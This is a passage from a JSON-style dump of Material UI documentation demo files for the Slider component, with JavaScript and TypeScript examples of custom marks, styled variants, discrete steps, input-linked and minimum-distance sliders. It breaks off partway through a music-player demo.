    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Slider from '@mui/material/Slider';\nimport Typography from '@mui/material/Typography';\n\nconst MAX = 100;\nconst MIN = 0;\nconst marks = [\n  {\n    value: MIN,\n    label: '',\n  },\n  {\n    value: MAX,\n    label: '',\n  },\n];\n\nexport default function CustomMarks() {\n  const [val, setVal] = React.useState(MIN);\n  const handleChange = (_, newValue) => {\n    setVal(newValue);\n  };\n\n  return (\n    <Box sx={{ width: 250 }}>\n      <Slider\n        marks={marks}\n        step={10}\n        value={val}\n        valueLabelDisplay=\"auto\"\n        min={MIN}\n        max={MAX}\n        onChange={handleChange}\n      />\n      <Box sx={{ display: 'flex', justifyContent: 'space-between' }}>\n        <Typography\n          variant=\"body2\"\n          onClick={() => setVal(MIN)}\n          sx={{ cursor: 'pointer' }}\n        >\n          {MIN} min\n        </Typography>\n        <Typography\n          variant=\"body2\"\n          onClick={() => setVal(MAX)}\n          sx={{ cursor: 'pointer' }}\n        >\n          {MAX} max\n        </Typography>\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/slider/CustomMarks.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Slider from '@mui/material/Slider';\nimport Typography from '@mui/material/Typography';\n\nconst MAX = 100;\nconst MIN = 0;\nconst marks = [\n  {\n    value: MIN,\n    label: '',\n  },\n  {\n    value: MAX,\n    label: '',\n  },\n];\n\nexport default function CustomMarks() {\n  const [val, setVal] = React.useState<number>(MIN);\n  const handleChange = (_: Event, newValue: number) => {\n    setVal(newValue);\n  };\n\n  return (\n    <Box sx={{ width: 250 }}>\n      <Slider\n        marks={marks}\n        step={10}\n        value={val}\n        valueLabelDisplay=\"auto\"\n        min={MIN}\n        max={MAX}\n        onChange={handleChange}\n      />\n      <Box sx={{ display: 'flex', justifyContent: 'space-between' }}>\n        <Typography\n          variant=\"body2\"\n          onClick={() => setVal(MIN)}\n          sx={{ cursor: 'pointer' }}\n        >\n          {MIN} min\n        </Typography>\n        <Typography\n          variant=\"body2\"\n          onClick={() => setVal(MAX)}\n          sx={{ cursor: 'pointer' }}\n        >\n          {MAX} max\n        </Typography>\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/slider/CustomizedSlider.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport Slider, { SliderThumb } from '@mui/material/Slider';\nimport { styled } from '@mui/material/styles';\nimport Typography from '@mui/material/Typography';\nimport Tooltip from '@mui/material/Tooltip';\nimport Box from '@mui/material/Box';\n\nfunction ValueLabelComponent(props) {\n  const { children, value } = props;\n\n  return (\n    <Tooltip enterTouchDelay={0} placement=\"top\" title={value}>\n      {children}\n    </Tooltip>\n  );\n}\n\nValueLabelComponent.propTypes = {\n  children: PropTypes.element.isRequired,\n  value: PropTypes.node,\n};\n\nconst iOSBoxShadow =\n  '0 3px 1px rgba(0,0,0,0.1),0 4px 8px rgba(0,0,0,0.13),0 0 0 1px rgba(0,0,0,0.02)';\n\nconst IOSSlider = styled(Slider)(({ theme }) => ({\n  color: '#007bff',\n  height: 5,\n  padding: '15px 0',\n  '& .MuiSlider-thumb': {\n    height: 20,\n    width: 20,\n    backgroundColor: '#fff',\n    boxShadow: '0 0 2px 0px rgba(0, 0, 0, 0.1)',\n    '&:focus, &:hover, &.Mui-active': {\n      boxShadow: '0px 0px 3px 1px rgba(0, 0, 0, 0.1)',\n      // Reset on touch devices, it doesn't add specificity\n      '@media (hover: none)': {\n        boxShadow: iOSBoxShadow,\n      },\n    },\n    '&:before': {\n      boxShadow:\n        '0px 0px 1px 0px rgba(0,0,0,0.2), 0px 0px 0px 0px rgba(0,0,0,0.14), 0px 0px 1px 0px rgba(0,0,0,0.12)',\n    },\n  },\n  '& .MuiSlider-valueLabel': {\n    fontSize: 12,\n    fontWeight: 'normal',\n    top: -6,\n    backgroundColor: 'unset',\n    color: theme.palette.text.primary,\n    '&::before': {\n      display: 'none',\n    },\n    '& *': {\n      background: 'transparent',\n      color: '#000',\n      ...theme.applyStyles('dark', {\n        color: '#fff',\n      }),\n    },\n  },\n  '& .MuiSlider-track': {\n    border: 'none',\n    height: 5,\n  },\n  '& .MuiSlider-rail': {\n    opacity: 0.5,\n    boxShadow: 'inset 0px 0px 4px -2px #000',\n    backgroundColor: '#d0d0d0',\n  },\n  ...theme.applyStyles('dark', {\n    color: '#0a84ff',\n  }),\n}));\n\nconst PrettoSlider = styled(Slider)({\n  color: '#52af77',\n  height: 8,\n  '& .MuiSlider-track': {\n    border: 'none',\n  },\n  '& .MuiSlider-thumb': {\n    height: 24,\n    width: 24,\n    backgroundColor: '#fff',\n    border: '2px solid currentColor',\n    '&:focus, &:hover, &.Mui-active, &.Mui-focusVisible': {\n      boxShadow: 'inherit',\n    },\n    '&::before': {\n      display: 'none',\n    },\n  },\n  '& .MuiSlider-valueLabel': {\n    lineHeight: 1.2,\n    fontSize: 12,\n    background: 'unset',\n    padding: 0,\n    width: 32,\n    height: 32,\n    borderRadius: '50% 50% 50% 0',\n    backgroundColor: '#52af77',\n    transformOrigin: 'bottom left',\n    transform: 'translate(50%, -100%) rotate(-45deg) scale(0)',\n    '&::before': { display: 'none' },\n    '&.MuiSlider-valueLabelOpen': {\n      transform: 'translate(50%, -100%) rotate(-45deg) scale(1)',\n    },\n    '& > *': {\n      transform: 'rotate(45deg)',\n    },\n  },\n});\n\nconst AirbnbSlider = styled(Slider)(({ theme }) => ({\n  color: '#3a8589',\n  height: 3,\n  padding: '13px 0',\n  '& .MuiSlider-thumb': {\n    height: 27,\n    width: 27,\n    backgroundColor: '#fff',\n    border: '1px solid currentColor',\n    '&:hover': {\n      boxShadow: '0 0 0 8px rgba(58, 133, 137, 0.16)',\n    },\n    '& .airbnb-bar': {\n      height: 9,\n      width: 1,\n      backgroundColor: 'currentColor',\n      marginLeft: 1,\n      marginRight: 1,\n    },\n  },\n  '& .MuiSlider-track': {\n    height: 3,\n  },\n  '& .MuiSlider-rail': {\n    color: '#d8d8d8',\n    opacity: 1,\n    height: 3,\n    ...theme.applyStyles('dark', {\n      color: '#bfbfbf',\n      opacity: undefined,\n    }),\n  },\n}));\n\nfunction AirbnbThumbComponent(props) {\n  const { children, ...other } = props;\n  return (\n    <SliderThumb {...other}>\n      {children}\n      <span className=\"airbnb-bar\" />\n      <span className=\"airbnb-bar\" />\n      <span className=\"airbnb-bar\" />\n    </SliderThumb>\n  );\n}\n\nAirbnbThumbComponent.propTypes = {\n  children: PropTypes.node,\n};\n\nexport default function CustomizedSlider() {\n  return (\n    <Box sx={{ width: 320 }}>\n      <Typography gutterBottom>iOS</Typography>\n      <IOSSlider aria-label=\"ios slider\" defaultValue={60} valueLabelDisplay=\"on\" />\n      <Box sx={{ m: 3 }} />\n      <Typography gutterBottom>pretto.fr</Typography>\n      <PrettoSlider\n        valueLabelDisplay=\"auto\"\n        aria-label=\"pretto slider\"\n        defaultValue={20}\n      />\n      <Box sx={{ m: 3 }} />\n      <Typography gutterBottom>Tooltip value label</Typography>\n      <Slider\n        valueLabelDisplay=\"auto\"\n        slots={{\n          valueLabel: ValueLabelComponent,\n        }}\n        aria-label=\"custom thumb label\"\n        defaultValue={20}\n      />\n      <Box sx={{ m: 3 }} />\n      <Typography gutterBottom>Airbnb</Typography>\n      <AirbnbSlider\n        slots={{ thumb: AirbnbThumbComponent }}\n        getAriaLabel={(index) => (index === 0 ? 'Minimum price' : 'Maximum price')}\n        defaultValue={[20, 40]}\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/slider/CustomizedSlider.tsx",
    "content": "import * as React from 'react';\nimport Slider, { SliderThumb, SliderValueLabelProps } from '@mui/material/Slider';\nimport { styled } from '@mui/material/styles';\nimport Typography from '@mui/material/Typography';\nimport Tooltip from '@mui/material/Tooltip';\nimport Box from '@mui/material/Box';\n\nfunction ValueLabelComponent(props: SliderValueLabelProps) {\n  const { children, value } = props;\n\n  return (\n    <Tooltip enterTouchDelay={0} placement=\"top\" title={value}>\n      {children}\n    </Tooltip>\n  );\n}\n\nconst iOSBoxShadow =\n  '0 3px 1px rgba(0,0,0,0.1),0 4px 8px rgba(0,0,0,0.13),0 0 0 1px rgba(0,0,0,0.02)';\n\nconst IOSSlider = styled(Slider)(({ theme }) => ({\n  color: '#007bff',\n  height: 5,\n  padding: '15px 0',\n  '& .MuiSlider-thumb': {\n    height: 20,\n    width: 20,\n    backgroundColor: '#fff',\n    boxShadow: '0 0 2px 0px rgba(0, 0, 0, 0.1)',\n    '&:focus, &:hover, &.Mui-active': {\n      boxShadow: '0px 0px 3px 1px rgba(0, 0, 0, 0.1)',\n      // Reset on touch devices, it doesn't add specificity\n      '@media (hover: none)': {\n        boxShadow: iOSBoxShadow,\n      },\n    },\n    '&:before': {\n      boxShadow:\n        '0px 0px 1px 0px rgba(0,0,0,0.2), 0px 0px 0px 0px rgba(0,0,0,0.14), 0px 0px 1px 0px rgba(0,0,0,0.12)',\n    },\n  },\n  '& .MuiSlider-valueLabel': {\n    fontSize: 12,\n    fontWeight: 'normal',\n    top: -6,\n    backgroundColor: 'unset',\n    color: theme.palette.text.primary,\n    '&::before': {\n      display: 'none',\n    },\n    '& *': {\n      background: 'transparent',\n      color: '#000',\n      ...theme.applyStyles('dark', {\n        color: '#fff',\n      }),\n    },\n  },\n  '& .MuiSlider-track': {\n    border: 'none',\n    height: 5,\n  },\n  '& .MuiSlider-rail': {\n    opacity: 0.5,\n    boxShadow: 'inset 0px 0px 4px -2px #000',\n    backgroundColor: '#d0d0d0',\n  },\n  ...theme.applyStyles('dark', {\n    color: '#0a84ff',\n  }),\n}));\n\nconst PrettoSlider = styled(Slider)({\n  color: '#52af77',\n  height: 8,\n  '& .MuiSlider-track': {\n    border: 'none',\n  },\n  '& .MuiSlider-thumb': {\n    height: 24,\n    width: 24,\n    backgroundColor: '#fff',\n    border: '2px solid currentColor',\n    '&:focus, &:hover, &.Mui-active, &.Mui-focusVisible': {\n      boxShadow: 'inherit',\n    },\n    '&::before': {\n      display: 'none',\n    },\n  },\n  '& .MuiSlider-valueLabel': {\n    lineHeight: 1.2,\n    fontSize: 12,\n    background: 'unset',\n    padding: 0,\n    width: 32,\n    height: 32,\n    borderRadius: '50% 50% 50% 0',\n    backgroundColor: '#52af77',\n    transformOrigin: 'bottom left',\n    transform: 'translate(50%, -100%) rotate(-45deg) scale(0)',\n    '&::before': { display: 'none' },\n    '&.MuiSlider-valueLabelOpen': {\n      transform: 'translate(50%, -100%) rotate(-45deg) scale(1)',\n    },\n    '& > *': {\n      transform: 'rotate(45deg)',\n    },\n  },\n});\n\nconst AirbnbSlider = styled(Slider)(({ theme }) => ({\n  color: '#3a8589',\n  height: 3,\n  padding: '13px 0',\n  '& .MuiSlider-thumb': {\n    height: 27,\n    width: 27,\n    backgroundColor: '#fff',\n    border: '1px solid currentColor',\n    '&:hover': {\n      boxShadow: '0 0 0 8px rgba(58, 133, 137, 0.16)',\n    },\n    '& .airbnb-bar': {\n      height: 9,\n      width: 1,\n      backgroundColor: 'currentColor',\n      marginLeft: 1,\n      marginRight: 1,\n    },\n  },\n  '& .MuiSlider-track': {\n    height: 3,\n  },\n  '& .MuiSlider-rail': {\n    color: '#d8d8d8',\n    opacity: 1,\n    height: 3,\n    ...theme.applyStyles('dark', {\n      color: '#bfbfbf',\n      opacity: undefined,\n    }),\n  },\n}));\n\ninterface AirbnbThumbComponentProps extends React.HTMLAttributes<unknown> {}\n\nfunction AirbnbThumbComponent(props: AirbnbThumbComponentProps) {\n  const { children, ...other } = props;\n  return (\n    <SliderThumb {...other}>\n      {children}\n      <span className=\"airbnb-bar\" />\n      <span className=\"airbnb-bar\" />\n      <span className=\"airbnb-bar\" />\n    </SliderThumb>\n  );\n}\n\nexport default function CustomizedSlider() {\n  return (\n    <Box sx={{ width: 320 }}>\n      <Typography gutterBottom>iOS</Typography>\n      <IOSSlider aria-label=\"ios slider\" defaultValue={60} valueLabelDisplay=\"on\" />\n      <Box sx={{ m: 3 }} />\n      <Typography gutterBottom>pretto.fr</Typography>\n      <PrettoSlider\n        valueLabelDisplay=\"auto\"\n        aria-label=\"pretto slider\"\n        defaultValue={20}\n      />\n      <Box sx={{ m: 3 }} />\n      <Typography gutterBottom>Tooltip value label</Typography>\n      <Slider\n        valueLabelDisplay=\"auto\"\n        slots={{\n          valueLabel: ValueLabelComponent,\n        }}\n        aria-label=\"custom thumb label\"\n        defaultValue={20}\n      />\n      <Box sx={{ m: 3 }} />\n      <Typography gutterBottom>Airbnb</Typography>\n      <AirbnbSlider\n        slots={{ thumb: AirbnbThumbComponent }}\n        getAriaLabel={(index) => (index === 0 ? 'Minimum price' : 'Maximum price')}\n        defaultValue={[20, 40]}\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/slider/DiscreteSlider.js",
    "content": "import Box from '@mui/material/Box';\nimport Slider from '@mui/material/Slider';\n\nfunction valuetext(value) {\n  return `${value}°C`;\n}\n\nexport default function DiscreteSlider() {\n  return (\n    <Box sx={{ width: 300 }}>\n      <Slider\n        aria-label=\"Temperature\"\n        defaultValue={30}\n        getAriaValueText={valuetext}\n        valueLabelDisplay=\"auto\"\n        shiftStep={30}\n        step={10}\n        marks\n        min={10}\n        max={110}\n      />\n      <Slider defaultValue={30} step={10} marks min={10} max={110} disabled />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/slider/DiscreteSlider.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Slider from '@mui/material/Slider';\n\nfunction valuetext(value: number) {\n  return `${value}°C`;\n}\n\nexport default function DiscreteSlider() {\n  return (\n    <Box sx={{ width: 300 }}>\n      <Slider\n        aria-label=\"Temperature\"\n        defaultValue={30}\n        getAriaValueText={valuetext}\n        valueLabelDisplay=\"auto\"\n        shiftStep={30}\n        step={10}\n        marks\n        min={10}\n        max={110}\n      />\n      <Slider defaultValue={30} step={10} marks min={10} max={110} disabled />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/slider/DiscreteSlider.tsx.preview",
    "content": "<Slider\n  aria-label=\"Temperature\"\n  defaultValue={30}\n  getAriaValueText={valuetext}\n  valueLabelDisplay=\"auto\"\n  shiftStep={30}\n  step={10}\n  marks\n  min={10}\n  max={110}\n/>\n<Slider defaultValue={30} step={10} marks min={10} max={110} disabled />"
  },
  {
    "path": "docs/data/material/components/slider/DiscreteSliderLabel.js",
    "content": "import Box from '@mui/material/Box';\nimport Slider from '@mui/material/Slider';\n\nconst marks = [\n  {\n    value: 0,\n    label: '0°C',\n  },\n  {\n    value: 20,\n    label: '20°C',\n  },\n  {\n    value: 37,\n    label: '37°C',\n  },\n  {\n    value: 100,\n    label: '100°C',\n  },\n];\n\nfunction valuetext(value) {\n  return `${value}°C`;\n}\n\nexport default function DiscreteSliderLabel() {\n  return (\n    <Box sx={{ width: 300 }}>\n      <Slider\n        aria-label=\"Always visible\"\n        defaultValue={80}\n        getAriaValueText={valuetext}\n        step={10}\n        marks={marks}\n        valueLabelDisplay=\"on\"\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/slider/DiscreteSliderLabel.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Slider from '@mui/material/Slider';\n\nconst marks = [\n  {\n    value: 0,\n    label: '0°C',\n  },\n  {\n    value: 20,\n    label: '20°C',\n  },\n  {\n    value: 37,\n    label: '37°C',\n  },\n  {\n    value: 100,\n    label: '100°C',\n  },\n];\n\nfunction valuetext(value: number) {\n  return `${value}°C`;\n}\n\nexport default function DiscreteSliderLabel() {\n  return (\n    <Box sx={{ width: 300 }}>\n      <Slider\n        aria-label=\"Always visible\"\n        defaultValue={80}\n        getAriaValueText={valuetext}\n        step={10}\n        marks={marks}\n        valueLabelDisplay=\"on\"\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/slider/DiscreteSliderLabel.tsx.preview",
    "content": "<Slider\n  aria-label=\"Always visible\"\n  defaultValue={80}\n  getAriaValueText={valuetext}\n  step={10}\n  marks={marks}\n  valueLabelDisplay=\"on\"\n/>"
  },
  {
    "path": "docs/data/material/components/slider/DiscreteSliderMarks.js",
    "content": "import Box from '@mui/material/Box';\nimport Slider from '@mui/material/Slider';\n\nconst marks = [\n  {\n    value: 0,\n    label: '0°C',\n  },\n  {\n    value: 20,\n    label: '20°C',\n  },\n  {\n    value: 37,\n    label: '37°C',\n  },\n  {\n    value: 100,\n    label: '100°C',\n  },\n];\n\nfunction valuetext(value) {\n  return `${value}°C`;\n}\n\nexport default function DiscreteSliderMarks() {\n  return (\n    <Box sx={{ width: 300 }}>\n      <Slider\n        aria-label=\"Custom marks\"\n        defaultValue={20}\n        getAriaValueText={valuetext}\n        step={10}\n        valueLabelDisplay=\"auto\"\n        marks={marks}\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/slider/DiscreteSliderMarks.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Slider from '@mui/material/Slider';\n\nconst marks = [\n  {\n    value: 0,\n    label: '0°C',\n  },\n  {\n    value: 20,\n    label: '20°C',\n  },\n  {\n    value: 37,\n    label: '37°C',\n  },\n  {\n    value: 100,\n    label: '100°C',\n  },\n];\n\nfunction valuetext(value: number) {\n  return `${value}°C`;\n}\n\nexport default function DiscreteSliderMarks() {\n  return (\n    <Box sx={{ width: 300 }}>\n      <Slider\n        aria-label=\"Custom marks\"\n        defaultValue={20}\n        getAriaValueText={valuetext}\n        step={10}\n        valueLabelDisplay=\"auto\"\n        marks={marks}\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/slider/DiscreteSliderMarks.tsx.preview",
    "content": "<Slider\n  aria-label=\"Custom marks\"\n  defaultValue={20}\n  getAriaValueText={valuetext}\n  step={10}\n  valueLabelDisplay=\"auto\"\n  marks={marks}\n/>"
  },
  {
    "path": "docs/data/material/components/slider/DiscreteSliderSteps.js",
    "content": "import Box from '@mui/material/Box';\nimport Slider from '@mui/material/Slider';\n\nfunction valuetext(value) {\n  return `${value}°C`;\n}\n\nexport default function DiscreteSliderSteps() {\n  return (\n    <Box sx={{ width: 300 }}>\n      <Slider\n        aria-label=\"Small steps\"\n        defaultValue={0.00000005}\n        getAriaValueText={valuetext}\n        step={0.00000001}\n        marks\n        min={-0.00000005}\n        max={0.0000001}\n        valueLabelDisplay=\"auto\"\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/slider/DiscreteSliderSteps.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Slider from '@mui/material/Slider';\n\nfunction valuetext(value: number) {\n  return `${value}°C`;\n}\n\nexport default function DiscreteSliderSteps() {\n  return (\n    <Box sx={{ width: 300 }}>\n      <Slider\n        aria-label=\"Small steps\"\n        defaultValue={0.00000005}\n        getAriaValueText={valuetext}\n        step={0.00000001}\n        marks\n        min={-0.00000005}\n        max={0.0000001}\n        valueLabelDisplay=\"auto\"\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/slider/DiscreteSliderSteps.tsx.preview",
    "content": "<Slider\n  aria-label=\"Small steps\"\n  defaultValue={0.00000005}\n  getAriaValueText={valuetext}\n  step={0.00000001}\n  marks\n  min={-0.00000005}\n  max={0.0000001}\n  valueLabelDisplay=\"auto\"\n/>"
  },
  {
    "path": "docs/data/material/components/slider/DiscreteSliderValues.js",
    "content": "import Box from '@mui/material/Box';\nimport Slider from '@mui/material/Slider';\n\nconst marks = [\n  {\n    value: 0,\n    label: '0°C',\n  },\n  {\n    value: 20,\n    label: '20°C',\n  },\n  {\n    value: 37,\n    label: '37°C',\n  },\n  {\n    value: 100,\n    label: '100°C',\n  },\n];\n\nfunction valuetext(value) {\n  return `${value}°C`;\n}\n\nexport default function DiscreteSliderValues() {\n  return (\n    <Box sx={{ width: 300 }}>\n      <Slider\n        aria-label=\"Restricted values\"\n        defaultValue={20}\n        getAriaValueText={valuetext}\n        step={null}\n        valueLabelDisplay=\"auto\"\n        marks={marks}\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/slider/DiscreteSliderValues.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Slider from '@mui/material/Slider';\n\nconst marks = [\n  {\n    value: 0,\n    label: '0°C',\n  },\n  {\n    value: 20,\n    label: '20°C',\n  },\n  {\n    value: 37,\n    label: '37°C',\n  },\n  {\n    value: 100,\n    label: '100°C',\n  },\n];\n\nfunction valuetext(value: number) {\n  return `${value}°C`;\n}\n\nexport default function DiscreteSliderValues() {\n  return (\n    <Box sx={{ width: 300 }}>\n      <Slider\n        aria-label=\"Restricted values\"\n        defaultValue={20}\n        getAriaValueText={valuetext}\n        step={null}\n        valueLabelDisplay=\"auto\"\n        marks={marks}\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/slider/DiscreteSliderValues.tsx.preview",
    "content": "<Slider\n  aria-label=\"Restricted values\"\n  defaultValue={20}\n  getAriaValueText={valuetext}\n  step={null}\n  valueLabelDisplay=\"auto\"\n  marks={marks}\n/>"
  },
  {
    "path": "docs/data/material/components/slider/InputSlider.js",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Grid from '@mui/material/Grid';\nimport Typography from '@mui/material/Typography';\nimport Slider from '@mui/material/Slider';\nimport MuiInput from '@mui/material/Input';\nimport VolumeUp from '@mui/icons-material/VolumeUp';\n\nconst Input = styled(MuiInput)`\n  width: 42px;\n`;\n\nexport default function InputSlider() {\n  const [value, setValue] = React.useState(30);\n\n  const handleSliderChange = (event, newValue) => {\n    setValue(newValue);\n  };\n\n  const handleInputChange = (event) => {\n    setValue(event.target.value === '' ? 0 : Number(event.target.value));\n  };\n\n  const handleBlur = () => {\n    if (value < 0) {\n      setValue(0);\n    } else if (value > 100) {\n      setValue(100);\n    }\n  };\n\n  return (\n    <Box sx={{ width: 250 }}>\n      <Typography id=\"input-slider\" gutterBottom>\n        Volume\n      </Typography>\n      <Grid container spacing={2} sx={{ alignItems: 'center' }}>\n        <Grid>\n          <VolumeUp />\n        </Grid>\n        <Grid size=\"grow\">\n          <Slider\n            value={typeof value === 'number' ? value : 0}\n            onChange={handleSliderChange}\n            aria-labelledby=\"input-slider\"\n          />\n        </Grid>\n        <Grid>\n          <Input\n            value={value}\n            size=\"small\"\n            onChange={handleInputChange}\n            onBlur={handleBlur}\n            inputProps={{\n              step: 10,\n              min: 0,\n              max: 100,\n              type: 'number',\n              'aria-labelledby': 'input-slider',\n            }}\n          />\n        </Grid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/slider/InputSlider.tsx",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Grid from '@mui/material/Grid';\nimport Typography from '@mui/material/Typography';\nimport Slider from '@mui/material/Slider';\nimport MuiInput from '@mui/material/Input';\nimport VolumeUp from '@mui/icons-material/VolumeUp';\n\nconst Input = styled(MuiInput)`\n  width: 42px;\n`;\n\nexport default function InputSlider() {\n  const [value, setValue] = React.useState(30);\n\n  const handleSliderChange = (event: Event, newValue: number) => {\n    setValue(newValue);\n  };\n\n  const handleInputChange = (event: React.ChangeEvent<HTMLInputElement>) => {\n    setValue(event.target.value === '' ? 0 : Number(event.target.value));\n  };\n\n  const handleBlur = () => {\n    if (value < 0) {\n      setValue(0);\n    } else if (value > 100) {\n      setValue(100);\n    }\n  };\n\n  return (\n    <Box sx={{ width: 250 }}>\n      <Typography id=\"input-slider\" gutterBottom>\n        Volume\n      </Typography>\n      <Grid container spacing={2} sx={{ alignItems: 'center' }}>\n        <Grid>\n          <VolumeUp />\n        </Grid>\n        <Grid size=\"grow\">\n          <Slider\n            value={typeof value === 'number' ? value : 0}\n            onChange={handleSliderChange}\n            aria-labelledby=\"input-slider\"\n          />\n        </Grid>\n        <Grid>\n          <Input\n            value={value}\n            size=\"small\"\n            onChange={handleInputChange}\n            onBlur={handleBlur}\n            inputProps={{\n              step: 10,\n              min: 0,\n              max: 100,\n              type: 'number',\n              'aria-labelledby': 'input-slider',\n            }}\n          />\n        </Grid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/slider/MinimumDistanceSlider.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Slider from '@mui/material/Slider';\n\nfunction valuetext(value) {\n  return `${value}°C`;\n}\n\nconst minDistance = 10;\n\nexport default function MinimumDistanceSlider() {\n  const [value1, setValue1] = React.useState([20, 37]);\n\n  const handleChange1 = (event, newValue, activeThumb) => {\n    if (activeThumb === 0) {\n      setValue1([Math.min(newValue[0], value1[1] - minDistance), value1[1]]);\n    } else {\n      setValue1([value1[0], Math.max(newValue[1], value1[0] + minDistance)]);\n    }\n  };\n\n  const [value2, setValue2] = React.useState([20, 37]);\n\n  const handleChange2 = (event, newValue, activeThumb) => {\n    if (newValue[1] - newValue[0] < minDistance) {\n      if (activeThumb === 0) {\n        const clamped = Math.min(newValue[0], 100 - minDistance);\n        setValue2([clamped, clamped + minDistance]);\n      } else {\n        const clamped = Math.max(newValue[1], minDistance);\n        setValue2([clamped - minDistance, clamped]);\n      }\n    } else {\n      setValue2(newValue);\n    }\n  };\n\n  return (\n    <Box sx={{ width: 300 }}>\n      <Slider\n        getAriaLabel={() => 'Minimum distance'}\n        value={value1}\n        onChange={handleChange1}\n        valueLabelDisplay=\"auto\"\n        getAriaValueText={valuetext}\n        disableSwap\n      />\n      <Slider\n        getAriaLabel={() => 'Minimum distance shift'}\n        value={value2}\n        onChange={handleChange2}\n        valueLabelDisplay=\"auto\"\n        getAriaValueText={valuetext}\n        disableSwap\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/slider/MinimumDistanceSlider.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Slider from '@mui/material/Slider';\n\nfunction valuetext(value: number) {\n  return `${value}°C`;\n}\n\nconst minDistance = 10;\n\nexport default function MinimumDistanceSlider() {\n  const [value1, setValue1] = React.useState<number[]>([20, 37]);\n\n  const handleChange1 = (event: Event, newValue: number[], activeThumb: number) => {\n    if (activeThumb === 0) {\n      setValue1([Math.min(newValue[0], value1[1] - minDistance), value1[1]]);\n    } else {\n      setValue1([value1[0], Math.max(newValue[1], value1[0] + minDistance)]);\n    }\n  };\n\n  const [value2, setValue2] = React.useState<number[]>([20, 37]);\n\n  const handleChange2 = (event: Event, newValue: number[], activeThumb: number) => {\n    if (newValue[1] - newValue[0] < minDistance) {\n      if (activeThumb === 0) {\n        const clamped = Math.min(newValue[0], 100 - minDistance);\n        setValue2([clamped, clamped + minDistance]);\n      } else {\n        const clamped = Math.max(newValue[1], minDistance);\n        setValue2([clamped - minDistance, clamped]);\n      }\n    } else {\n      setValue2(newValue);\n    }\n  };\n\n  return (\n    <Box sx={{ width: 300 }}>\n      <Slider\n        getAriaLabel={() => 'Minimum distance'}\n        value={value1}\n        onChange={handleChange1}\n        valueLabelDisplay=\"auto\"\n        getAriaValueText={valuetext}\n        disableSwap\n      />\n      <Slider\n        getAriaLabel={() => 'Minimum distance shift'}\n        value={value2}\n        onChange={handleChange2}\n        valueLabelDisplay=\"auto\"\n        getAriaValueText={valuetext}\n        disableSwap\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/slider/MinimumDistanceSlider.tsx.preview",
    "content": "<Slider\n  getAriaLabel={() => 'Minimum distance'}\n  value={value1}\n  onChange={handleChange1}\n  valueLabelDisplay=\"auto\"\n  getAriaValueText={valuetext}\n  disableSwap\n/>\n<Slider\n  getAriaLabel={() => 'Minimum distance shift'}\n  value={value2}\n  onChange={handleChange2}\n  valueLabelDisplay=\"auto\"\n  getAriaValueText={valuetext}\n  disableSwap\n/>"
  },
  {
    "path": "docs/data/material/components/slider/MusicPlayerSlider.js",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\nimport Slider from '@mui/material/Slider';\nimport IconButton from '@mui/material/IconButton';\nimport Stack from '@mui/material/Stack';\nimport PauseRounded from '@mui/icons-material/PauseRounded';\nimport PlayArrowRounded from '@mui/icons-material/PlayArrowRounded';\nimport FastForwardRounded from '@mui/icons-material/FastForwardRounded';\nimport FastRewindRounded from '@mui/icons-material/FastRewindRounded';\nimport VolumeUpRounded from '@mui/icons-material/VolumeUpRounded';\nimport VolumeDownRounded from '@mui/icons-material/VolumeDownRounded';\n\nconst WallPaper = styled('div')({\n  position: 'absolute',\n  width: '100%',\n  height: '100%',\n  top: 0,\n  left: 0,\n  overflow: 'hidden',\n  background: 'linear-gradient(rgb(255, 38, 142) 0%, rgb(255, 105, 79) 100%)',\n  transition: 'all 500ms cubic-bezier(0.175, 0.885, 0.32, 1.275) 0s',\n  '&::before': {\n    content: '\"\"',\n    width: '140%',\n    height: '140%',\n    position: 'absolute',\n    top: '-40%',\n    right: '-50%',\n    background:\n      'radial-gradient(at center center, rgb(62, 79, 249) 0%, rgba(62, 79, 249, 0) 64%)',\n  },\n  '&::after': {\n    content: '\"\"',\n    width: '140%',\n    height: '140%',\n    position: 'absolute',\n    bottom: '-50%',\n    left: '-30%',\n    background:\n      'radial-gradient(at center center, rgb(247, 237, 225) 0%, rgba(247, 237, 225, 0) 70%)',\n    transform: 'rotate(30deg)',\n  },\n});\n\nconst Widget = styled('div')(({ theme }) => ({\n  padding: 16,\n  borderRadius: 16,\n  width: 343,\n  maxWidth: '100%',\n  margin: 'auto',\n  position: 